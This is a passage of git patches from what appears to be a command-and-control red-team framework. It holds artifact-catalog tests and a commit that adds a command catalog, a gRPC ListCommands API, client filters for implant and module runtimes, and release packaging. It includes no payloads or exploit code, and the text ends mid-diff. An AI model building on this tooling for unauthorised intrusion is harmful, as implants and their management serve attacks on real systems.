fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + +fs::path makeTempDirectory(const std::string& name) +{ + return fs::temp_directory_path() / ("c2teamserver-artifact-catalog-" + name + "-" + std::to_string(::getpid())); +} + +std::shared_ptr makeLogger() +{ + auto logger = std::make_shared("artifact-catalog-tests"); + logger->set_level(spdlog::level::off); + return logger; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.teamServerModulesDirectoryPath = (root / "TeamServerModules").string(); + runtimeConfig.linuxModulesDirectoryPath = (root / "LinuxModules").string(); + runtimeConfig.windowsModulesDirectoryPath = (root / "WindowsModules").string(); + runtimeConfig.linuxBeaconsDirectoryPath = (root / "LinuxBeacons").string(); + runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string(); + runtimeConfig.toolsDirectoryPath = (root / "Tools").string(); + runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string(); + + fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); + fs::create_directories(runtimeConfig.linuxModulesDirectoryPath); + fs::create_directories(runtimeConfig.windowsModulesDirectoryPath); + fs::create_directories(runtimeConfig.linuxBeaconsDirectoryPath); + fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); + fs::create_directories(runtimeConfig.toolsDirectoryPath); + fs::create_directories(runtimeConfig.scriptsDirectoryPath); + for (const std::string& arch : runtimeConfig.supportedWindowsArchs) + { + fs::create_directories(fs::path(runtimeConfig.windowsModulesDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / arch); + } + + return runtimeConfig; +} + +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + +void seedArtifacts(const TeamServerRuntimeConfig& runtimeConfig) +{ + writeFile(fs::path(runtimeConfig.teamServerModulesDirectoryPath) / "libServerModule.so", "teamserver-module"); + writeFile(fs::path(runtimeConfig.linuxModulesDirectoryPath) / "linuxmod.so", "linux-module"); + writeFile(fs::path(runtimeConfig.windowsModulesDirectoryPath) / "x64" / "winmod64.dll", "windows-module-x64"); + writeFile(fs::path(runtimeConfig.windowsModulesDirectoryPath) / "x86" / "winmod86.dll", "windows-module-x86"); + writeFile(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / "BeaconHttp", "linux-beacon"); + writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x64" / "BeaconHttp.exe", "windows-beacon-x64"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "batcave.zip", "tool-archive"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "startup.py", "script"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / ".ignored.py", "hidden-script"); +} + +const TeamServerArtifactRecord* findArtifact( + const std::vector& artifacts, + const std::string& name, + const std::string& category, + const std::string& platform, + const std::string& arch) +{ + for (const TeamServerArtifactRecord& artifact : artifacts) + { + if (artifact.name == name + && artifact.category == category + && artifact.platform == platform + && artifact.arch == arch) + { + return &artifact; + } + } + return nullptr; +} + +void testCatalogIndexesReleaseRoots() +{ + ScopedPath tempRoot(makeTempDirectory("indexes")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(); + + assert(artifacts.size() == 8); + assert(findArtifact(artifacts, ".ignored.py", "script", "any", "any") == nullptr); + + const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); + assert(windowsModule != nullptr); + assert(windowsModule->scope == "beacon"); + assert(windowsModule->format == "dll"); + assert(windowsModule->source == "release"); + assert(windowsModule->size == 18); + assert(windowsModule->sha256.size() == 64); + assert(windowsModule->artifactId.size() == 64); + assert(windowsModule->internalPath.find(tempRoot.path().string()) != std::string::npos); + + const TeamServerArtifactRecord* linuxBeacon = findArtifact(artifacts, "BeaconHttp", "beacon", "linux", "any"); + assert(linuxBeacon != nullptr); + assert(linuxBeacon->format == "binary"); + assert(linuxBeacon->scope == "implant"); + + const TeamServerArtifactRecord* script = findArtifact(artifacts, "startup.py", "script", "any", "any"); + assert(script != nullptr); + assert(script->scope == "teamserver"); + assert(script->format == "py"); +} + +void testCatalogFiltersArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("filters")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + + TeamServerArtifactQuery windowsX64Modules; + windowsX64Modules.category = "module"; + windowsX64Modules.platform = "windows"; + windowsX64Modules.arch = "x64"; + std::vector artifacts = catalog.listArtifacts(windowsX64Modules); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "winmod64.dll"); + + TeamServerArtifactQuery toolQuery; + toolQuery.category = "tool"; + toolQuery.nameContains = "BATCAVE"; + artifacts = catalog.listArtifacts(toolQuery); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "batcave.zip"); + + TeamServerArtifactQuery linuxModules; + linuxModules.category = "module"; + linuxModules.platform = "linux"; + artifacts = catalog.listArtifacts(linuxModules); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "linuxmod.so"); +} + +void testArtifactServiceStreamsPublicMetadataOnly() +{ + ScopedPath tempRoot(makeTempDirectory("service")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + + teamserverapi::ArtifactQuery query; + query.set_category("script"); + std::vector summaries; + assert(service.listArtifacts(query, [&](const teamserverapi::ArtifactSummary& artifact) + { + summaries.push_back(artifact); + return true; + }).ok()); + + assert(summaries.size() == 1); + assert(summaries[0].name() == "startup.py"); + assert(summaries[0].category() == "script"); + assert(summaries[0].scope() == "teamserver"); + assert(summaries[0].sha256().size() == 64); + assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); +} +} // namespace + +int main() +{ + testCatalogIndexesReleaseRoots(); + testCatalogFiltersArtifacts(); + testArtifactServiceStreamsPublicMetadataOnly(); + return 0; +} From d2e9b49c1354c0192780e50e29fbd9c3ef0873da Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 13:01:42 +0200 Subject: [PATCH 23/82] Add server command catalog manifests --- C2Client/C2Client/ArtifactPanel.py | 42 +++- C2Client/C2Client/grpcClient.py | 7 + C2Client/tests/test_artifact_panel.py | 18 +- C2Client/tests/test_grpc_client.py | 22 ++ core | 2 +- packaging/assemble_release.py | 8 + packaging/validate_release.py | 4 + protocol/TeamServerApi.proto | 42 ++++ teamServer/CMakeLists.txt | 9 + teamServer/teamServer/TeamServer.cpp | 14 ++ teamServer/teamServer/TeamServer.hpp | 3 + .../teamServer/TeamServerArtifactCatalog.cpp | 27 ++- .../teamServer/TeamServerArtifactCatalog.hpp | 4 + .../teamServer/TeamServerArtifactService.cpp | 4 + .../teamServer/TeamServerCommandCatalog.cpp | 217 ++++++++++++++++++ .../teamServer/TeamServerCommandCatalog.hpp | 62 +++++ .../TeamServerCommandCatalogService.cpp | 78 +++++++ .../TeamServerCommandCatalogService.hpp | 30 +++ teamServer/teamServer/TeamServerConfig.json | 1 + .../teamServer/TeamServerRuntimeConfig.cpp | 5 + .../teamServer/TeamServerRuntimeConfig.hpp | 1 + .../tests/TeamServerArtifactCatalogTests.cpp | 7 + .../tests/TeamServerCommandCatalogTests.cpp | 206 +++++++++++++++++ 23 files changed, 787 insertions(+), 26 deletions(-) create mode 100644 teamServer/teamServer/TeamServerCommandCatalog.cpp create mode 100644 teamServer/teamServer/TeamServerCommandCatalog.hpp create mode 100644 teamServer/teamServer/TeamServerCommandCatalogService.cpp create mode 100644 teamServer/teamServer/TeamServerCommandCatalogService.hpp create mode 100644 teamServer/tests/TeamServerCommandCatalogTests.cpp diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index 616c4cf..799bc9d 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -28,18 +28,21 @@ ALL_FILTER = "All" CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script"] +TARGET_FILTERS = [ALL_FILTER, "teamserver", "beacon", "listener", "operator", "any"] PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64", "any"] +RUNTIME_FILTERS = [ALL_FILTER, "native", "python", "dotnet", "powershell", "bof", "shellcode", "text", "archive", "any"] COL_CATEGORY = 0 -COL_NAME = 1 -COL_PLATFORM = 2 -COL_ARCH = 3 -COL_FORMAT = 4 -COL_SIZE = 5 -COL_SHA256 = 6 -COL_SCOPE = 7 -COL_SOURCE = 8 +COL_TARGET = 1 +COL_NAME = 2 +COL_PLATFORM = 3 +COL_ARCH = 4 +COL_RUNTIME = 5 +COL_FORMAT = 6 +COL_SIZE = 7 +COL_SHA256 = 8 +COL_SOURCE = 9 def _text(value: Any) -> str: @@ -79,7 +82,7 @@ def format_size(size: Any) -> str: class Artifacts(QWidget): - COLUMN_WIDTHS = [82, 220, 86, 66, 70, 86, 112, 98, 88] + COLUMN_WIDTHS = [82, 96, 220, 86, 66, 92, 70, 86, 112, 88] STRETCH_COLUMN = COL_NAME def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: @@ -96,8 +99,10 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.setSpacing(6) self.categoryFilter = self.createFilter(CATEGORY_FILTERS, "Filter by artifact category.") + self.targetFilter = self.createFilter(TARGET_FILTERS, "Filter by execution or ownership target.") self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by target platform.") self.archFilter = self.createFilter(ARCH_FILTERS, "Filter by target architecture.") + self.runtimeFilter = self.createFilter(RUNTIME_FILTERS, "Filter by runtime or file family.") self.searchInput = QLineEdit(self) self.searchInput.setPlaceholderText("Name contains") self.searchInput.setToolTip("Filter artifacts by name.") @@ -110,10 +115,14 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.addWidget(QLabel("Category")) toolbar.addWidget(self.categoryFilter) + toolbar.addWidget(QLabel("Target")) + toolbar.addWidget(self.targetFilter) toolbar.addWidget(QLabel("Platform")) toolbar.addWidget(self.platformFilter) toolbar.addWidget(QLabel("Arch")) toolbar.addWidget(self.archFilter) + toolbar.addWidget(QLabel("Runtime")) + toolbar.addWidget(self.runtimeFilter) toolbar.addWidget(self.searchInput, 1) toolbar.addWidget(self.refreshButton) toolbar.addWidget(self.copyIdButton) @@ -131,7 +140,7 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.artifactTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) self.artifactTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.artifactTable.setRowCount(0) - self.artifactTable.setColumnCount(9) + self.artifactTable.setColumnCount(10) self.artifactTable.verticalHeader().setVisible(False) self.artifactTable.itemSelectionChanged.connect(self.updateActionButtons) self.configureTableColumns() @@ -181,6 +190,14 @@ def buildQuery(self) -> Any: if arch != ALL_FILTER: query.arch = arch + target = self.targetFilter.currentText() + if target != ALL_FILTER: + query.target = target + + runtime = self.runtimeFilter.currentText() + if runtime != ALL_FILTER: + query.runtime = runtime + name_contains = self.searchInput.text().strip() if name_contains: query.name_contains = name_contains @@ -210,7 +227,7 @@ def refreshArtifacts(self) -> None: def printArtifacts(self) -> None: self.artifactTable.setRowCount(len(self.artifacts)) self.artifactTable.setHorizontalHeaderLabels( - ["Category", "Name", "Platform", "Arch", "Format", "Size", "SHA256", "Scope", "Source"] + ["Category", "Target", "Name", "Platform", "Arch", "Runtime", "Format", "Size", "SHA256", "Source"] ) for row, artifact in enumerate(self.artifacts): @@ -222,13 +239,14 @@ def printArtifacts(self) -> None: values = [ _text(_field(artifact, "category")), + _text(_field(artifact, "target")) or _text(_field(artifact, "scope")), name, _text(_field(artifact, "platform")), _text(_field(artifact, "arch")), + _text(_field(artifact, "runtime")), _text(_field(artifact, "format")), format_size(_field(artifact, "size", 0)), _short_hash(full_hash), - _text(_field(artifact, "scope")), _text(_field(artifact, "source")), ] diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 147816d..9af23ce 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -229,6 +229,13 @@ def listArtifacts(self, query: Optional[Any] = None) -> Iterable[Any]: query = TeamServerApi_pb2.ArtifactQuery() return self._stream_rpc("ListArtifacts", lambda: self.stub.ListArtifacts(query, metadata=self.metadata)) + def listCommands(self, query: Optional[Any] = None) -> Iterable[Any]: + """Return command specs exposed by the TeamServer catalog.""" + + if query is None: + query = TeamServerApi_pb2.CommandQuery() + return self._stream_rpc("ListCommands", lambda: self.stub.ListCommands(query, metadata=self.metadata)) + def stopSession(self, session: Any) -> Any: """Terminate a session.""" diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index e3ada6d..44bcc63 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -15,8 +15,10 @@ def __init__(self): display_name="winmod64.dll", category="module", scope="beacon", + target="beacon", platform="windows", arch="x64", + runtime="native", format="dll", source="release", size=2048, @@ -29,8 +31,10 @@ def __init__(self): display_name="startup.py", category="script", scope="teamserver", + target="teamserver", platform="any", arch="any", + runtime="python", format="py", source="release", size=12, @@ -64,21 +68,27 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): assert panel.artifactTable.rowCount() == 2 assert panel.artifactTable.item(0, 0).text() == "module" - assert panel.artifactTable.item(0, 1).text() == "winmod64.dll" - assert panel.artifactTable.item(0, 5).text() == "2.0 KB" - assert panel.artifactTable.item(0, 6).text() == "aaaaaaaaaaaa" - assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 1).toolTip() + assert panel.artifactTable.item(0, 1).text() == "beacon" + assert panel.artifactTable.item(0, 2).text() == "winmod64.dll" + assert panel.artifactTable.item(0, 5).text() == "native" + assert panel.artifactTable.item(0, 7).text() == "2.0 KB" + assert panel.artifactTable.item(0, 8).text() == "aaaaaaaaaaaa" + assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 2).toolTip() panel.categoryFilter.setCurrentText("module") + panel.targetFilter.setCurrentText("beacon") panel.platformFilter.setCurrentText("windows") panel.archFilter.setCurrentText("x64") + panel.runtimeFilter.setCurrentText("native") panel.searchInput.setText("win") panel.refreshArtifacts() query = grpc.queries[-1] assert query.category == "module" + assert query.target == "beacon" assert query.platform == "windows" assert query.arch == "x64" + assert query.runtime == "native" assert query.name_contains == "win" panel.artifactTable.selectRow(0) diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index ea92464..bbe2ebb 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -73,6 +73,28 @@ def test_grpc_client_lists_artifacts(tmp_path, monkeypatch): assert events == [("ListArtifacts", True, "")] +def test_grpc_client_lists_commands(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + query = object() + command = object() + stub.ListCommands.return_value = iter([command]) + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert list(client.listCommands(query)) == [command] + stub.ListCommands.assert_called_once_with(query, metadata=client.metadata) + assert events == [("ListCommands", True, "")] + + def test_grpc_client_uses_env_certificate_and_grpc_options(tmp_path, monkeypatch): cert = tmp_path / "cert.crt" cert.write_text("cert") diff --git a/core b/core index e4e885a..897d739 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit e4e885adc15a0eb57561f5ccc648df528aa3b414 +Subproject commit 897d739aba39be96466711a35c492c5cdf762394 diff --git a/packaging/assemble_release.py b/packaging/assemble_release.py index 7dc9fe9..92251fd 100644 --- a/packaging/assemble_release.py +++ b/packaging/assemble_release.py @@ -93,6 +93,7 @@ def assemble_release(source_root: Path, build_root: Path, output_root: Path) -> build_release_root = build_root / "artifacts" / "Release" teamserver_root = build_release_root / "TeamServer" modules_root = build_release_root / "TeamServerModules" + command_specs_root = build_release_root / "CommandSpecs" if not teamserver_root.exists(): raise FileNotFoundError( @@ -104,6 +105,11 @@ def assemble_release(source_root: Path, build_root: Path, output_root: Path) -> f"Missing TeamServer module artifacts: {modules_root}. " "Build the project before staging the release.", ) + if not command_specs_root.exists(): + raise FileNotFoundError( + f"Missing TeamServer command specs: {command_specs_root}. " + "Build the project before staging the release.", + ) shutil.rmtree(output_root, ignore_errors=True) output_root.parent.mkdir(parents=True, exist_ok=True) @@ -111,10 +117,12 @@ def assemble_release(source_root: Path, build_root: Path, output_root: Path) -> shutil.rmtree(output_root / "TeamServer", ignore_errors=True) shutil.rmtree(output_root / "TeamServerModules", ignore_errors=True) + shutil.rmtree(output_root / "CommandSpecs", ignore_errors=True) shutil.rmtree(output_root / "Modules", ignore_errors=True) _copytree(teamserver_root, output_root / "TeamServer") _copytree(modules_root, output_root / "TeamServerModules") + _copytree(command_specs_root, output_root / "CommandSpecs") shutil.rmtree(output_root / "TeamServer" / "logs", ignore_errors=True) (output_root / "TeamServer" / "logs").mkdir(parents=True, exist_ok=True) diff --git a/packaging/validate_release.py b/packaging/validate_release.py index d003d17..6ccd319 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -219,6 +219,7 @@ def validate_base_release(release_root: Path) -> None: teamserver_root = release_root / "TeamServer" modules_root = release_root / "TeamServerModules" + command_specs_root = release_root / "CommandSpecs" client_root = release_root / "Client" if not teamserver_root.is_dir(): @@ -235,6 +236,9 @@ def validate_base_release(release_root: Path) -> None: _require_directory_exact(modules_root, EXPECTED_TEAMSERVER_MODULES) + _require_non_empty_file(command_specs_root / "common" / "sleep.json") + _require_non_empty_file(command_specs_root / "common" / "end.json") + _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") _require_non_empty_file(client_root / "requirements.txt") diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index b27e84f..34ffcb0 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -15,6 +15,7 @@ service TeamServerApi rpc StopSession(SessionSelector) returns (OperationAck) {} rpc ListArtifacts(ArtifactQuery) returns (stream ArtifactSummary) {} + rpc ListCommands(CommandQuery) returns (stream CommandSpec) {} rpc GetCommandHelp(CommandHelpRequest) returns (CommandHelpResponse) {} rpc SendSessionCommand(SessionCommandRequest) returns (CommandAck) {} @@ -109,6 +110,8 @@ message ArtifactQuery string platform = 3; string arch = 4; string name_contains = 5; + string target = 6; + string runtime = 7; } @@ -127,6 +130,45 @@ message ArtifactSummary string sha256 = 11; string description = 12; repeated string tags = 13; + string target = 14; + string runtime = 15; +} + + +message CommandQuery +{ + string kind = 1; + string target = 2; + string platform = 3; + string name_contains = 4; +} + + +message CommandArgSpec +{ + string name = 1; + string type = 2; + bool required = 3; + string description = 4; + repeated string values = 5; + ArtifactQuery artifact_filter = 6; + bool variadic = 7; +} + + +message CommandSpec +{ + string name = 1; + string display_name = 2; + string kind = 3; + string description = 4; + string target = 5; + bool requires_session = 6; + repeated string platforms = 7; + repeated string archs = 8; + repeated CommandArgSpec args = 9; + repeated string examples = 10; + string source = 11; } diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index ac09dcb..4d7c6a4 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -6,6 +6,8 @@ set(TEAMSERVER_CORE_SOURCES teamServer/TeamServerArtifactCatalog.cpp teamServer/TeamServerArtifactService.cpp teamServer/TeamServerAuth.cpp + teamServer/TeamServerCommandCatalog.cpp + teamServer/TeamServerCommandCatalogService.cpp teamServer/TeamServerCommandPreparationService.cpp teamServer/TeamServerHelpService.cpp teamServer/TeamServerListenerArtifactService.cpp @@ -84,6 +86,8 @@ add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/teamServer/teamServer/TeamServerConfig.json "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/TeamServerConfig.json") add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/teamServer/teamServer/auth_credentials.json "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/auth_credentials.json") +add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy_directory + ${CMAKE_SOURCE_DIR}/core/modules/ModuleCmd/CommandSpecs "${C2_RUNTIME_ROOT}/CommandSpecs") function(teamserver_add_test target_name link_target) add_executable(${target_name} ${ARGN}) @@ -119,6 +123,11 @@ if(WITH_TESTS) tests/TeamServerArtifactCatalogTests.cpp ) + teamserver_add_test(testsTeamServerCommandCatalog + server_core + tests/TeamServerCommandCatalogTests.cpp + ) + teamserver_add_test(testsTeamServerSocksService server_core tests/TeamServerSocksServiceTests.cpp diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 0e1dd56..68ba721 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -4,6 +4,8 @@ #include "TeamServerArtifactService.hpp" #include "TeamServerAuth.hpp" #include "TeamServerBootstrap.hpp" +#include "TeamServerCommandCatalog.hpp" +#include "TeamServerCommandCatalogService.hpp" #include "TeamServerCommandPreparationService.hpp" #include "TeamServerHelpService.hpp" #include "TeamServerListenerArtifactService.hpp" @@ -52,6 +54,9 @@ TeamServer::TeamServer(const nlohmann::json& config) m_artifactService = std::make_unique( m_logger, TeamServerArtifactCatalog(runtimeConfig)); + m_commandCatalogService = std::make_unique( + m_logger, + TeamServerCommandCatalog(runtimeConfig)); m_helpService = std::make_unique( m_logger, m_listeners, @@ -177,6 +182,15 @@ grpc::Status TeamServer::ListArtifacts(grpc::ServerContext* context, const teams { return writer->Write(artifact); }); } +grpc::Status TeamServer::ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_commandCatalogService->listCommands(*query, [&](const teamserverapi::CommandSpec& command) + { return writer->Write(command); }); +} + grpc::Status TeamServer::SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) { auto authStatus = ensureAuthenticated(context); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index b756fbc..2f62d51 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -31,6 +31,7 @@ class TeamServerAuthManager; class TeamServerArtifactService; +class TeamServerCommandCatalogService; class TeamServerHelpService; class TeamServerListenerSessionService; class TeamServerListenerArtifactService; @@ -55,6 +56,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::SessionSelector* sessionToStop, teamserverapi::OperationAck* response) override; grpc::Status ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) override; + grpc::Status ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) override; grpc::Status SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) override; grpc::Status StreamSessionCommandResults(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; @@ -94,6 +96,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service std::unique_ptr m_authManager; std::unique_ptr m_artifactService; + std::unique_ptr m_commandCatalogService; std::unique_ptr m_helpService; std::unique_ptr m_listenerSessionService; std::unique_ptr m_listenerArtifactService; diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 62fc10d..1c55b3e 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -53,8 +53,10 @@ bool matchesQuery(const TeamServerArtifactRecord& artifact, const TeamServerArti { return matchesExact(query.category, artifact.category) && matchesExact(query.scope, artifact.scope) + && matchesExact(query.target, artifact.target) && matchesExactOrAny(query.platform, artifact.platform) && matchesExactOrAny(query.arch, artifact.arch) + && matchesExactOrAny(query.runtime, artifact.runtime) && containsCaseInsensitive(artifact.name, query.nameContains); } @@ -145,8 +147,10 @@ void collectDirectoryArtifacts( const fs::path& root, const std::string& category, const std::string& scope, + const std::string& target, const std::string& platform, const std::string& arch, + const std::string& runtime, std::vector& artifacts) { std::error_code ec; @@ -188,9 +192,11 @@ void collectDirectoryArtifacts( artifact.displayName = path.filename().string(); artifact.category = category; artifact.scope = scope; + artifact.target = target; artifact.platform = platform; artifact.arch = arch; artifact.format = detectFormat(path); + artifact.runtime = runtime; artifact.source = ReleaseSource; artifact.sha256 = contentHash; artifact.internalPath = path.string(); @@ -205,9 +211,10 @@ void collectDirectoryArtifacts( artifact.artifactId = sha256String( artifact.source + "\n" + artifact.category + "\n" - + artifact.scope + "\n" + + artifact.target + "\n" + artifact.platform + "\n" + artifact.arch + "\n" + + artifact.runtime + "\n" + artifact.name + "\n" + artifact.sha256); if (artifact.artifactId.empty()) @@ -221,10 +228,12 @@ void collectWindowsArchArtifacts( const std::vector& supportedArchs, const std::string& category, const std::string& scope, + const std::string& target, + const std::string& runtime, std::vector& artifacts) { for (const std::string& arch : supportedArchs) - collectDirectoryArtifacts(root / arch, category, scope, "windows", arch, artifacts); + collectDirectoryArtifacts(root / arch, category, scope, target, "windows", arch, runtime, artifacts); } bool sortArtifacts(const TeamServerArtifactRecord& left, const TeamServerArtifactRecord& right) @@ -242,13 +251,13 @@ TeamServerArtifactCatalog::TeamServerArtifactCatalog(TeamServerRuntimeConfig run std::vector TeamServerArtifactCatalog::listArtifacts(const TeamServerArtifactQuery& query) const { std::vector allArtifacts; - collectDirectoryArtifacts(m_runtimeConfig.teamServerModulesDirectoryPath, "module", "teamserver", "server", "any", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.linuxModulesDirectoryPath, "module", "beacon", "linux", "any", allArtifacts); - collectWindowsArchArtifacts(m_runtimeConfig.windowsModulesDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "module", "beacon", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.linuxBeaconsDirectoryPath, "beacon", "implant", "linux", "any", allArtifacts); - collectWindowsArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "beacon", "implant", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.toolsDirectoryPath, "tool", "server", "any", "any", allArtifacts); - collectDirectoryArtifacts(m_runtimeConfig.scriptsDirectoryPath, "script", "teamserver", "any", "any", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.teamServerModulesDirectoryPath, "module", "teamserver", "teamserver", "server", "any", "native", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.linuxModulesDirectoryPath, "module", "beacon", "beacon", "linux", "any", "native", allArtifacts); + collectWindowsArchArtifacts(m_runtimeConfig.windowsModulesDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "module", "beacon", "beacon", "native", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.linuxBeaconsDirectoryPath, "beacon", "implant", "listener", "linux", "any", "native", allArtifacts); + collectWindowsArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "beacon", "implant", "listener", "native", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.toolsDirectoryPath, "tool", "server", "teamserver", "any", "any", "any", allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.scriptsDirectoryPath, "script", "teamserver", "teamserver", "any", "any", "python", allArtifacts); std::vector filteredArtifacts; for (const TeamServerArtifactRecord& artifact : allArtifacts) diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.hpp b/teamServer/teamServer/TeamServerArtifactCatalog.hpp index 4a2d27d..bfd7681 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.hpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.hpp @@ -10,8 +10,10 @@ struct TeamServerArtifactQuery { std::string category; std::string scope; + std::string target; std::string platform; std::string arch; + std::string runtime; std::string nameContains; }; @@ -22,9 +24,11 @@ struct TeamServerArtifactRecord std::string displayName; std::string category; std::string scope; + std::string target; std::string platform; std::string arch; std::string format; + std::string runtime; std::string source; std::int64_t size = 0; std::string sha256; diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp index 0dc85b6..ddaadc5 100644 --- 